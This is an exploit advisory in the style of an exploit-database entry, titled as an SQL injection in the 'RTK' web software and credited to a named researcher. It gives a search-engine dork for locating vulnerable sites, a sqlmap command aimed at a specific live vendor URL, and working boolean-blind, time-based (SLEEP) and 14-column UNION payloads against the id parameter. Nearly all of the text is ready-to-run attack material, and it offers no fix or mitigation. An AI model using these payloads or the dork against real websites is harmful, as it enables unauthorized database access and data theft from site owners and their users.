**************************** #Exploit Title: RTK - SQL Injection vulnerability #Date: 2020-10-07 #Exploit Author: Mahdi Karimi #Vendor Homepage: http://rtk.mk #Google Dork: "Powered by Rtk" #Tested On: windows 10 sqlmap: sqlmap -u "http://rtk.mk/preview.php?id=369" --dbs Testing Method; - boolean-based blind - time-based blind - UNION query Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=369 AND 9612=9612 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=369 AND (SELECT 5499 FROM (SELECT(SLEEP(5)))WzJx) Type: UNION query Title: Generic UNION query (NULL) - 14 columns Payload: id=-8793 UNION ALL SELECT NULL,CONCAT(0x7176717a71,0x506e50524f414457435256457171496e656b746356505056687074764f5976425861796d63737a61,0x716b6a7071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - ************************************************** #Discovered by: Mahdi Karimi #Email : [email protected] **************************************************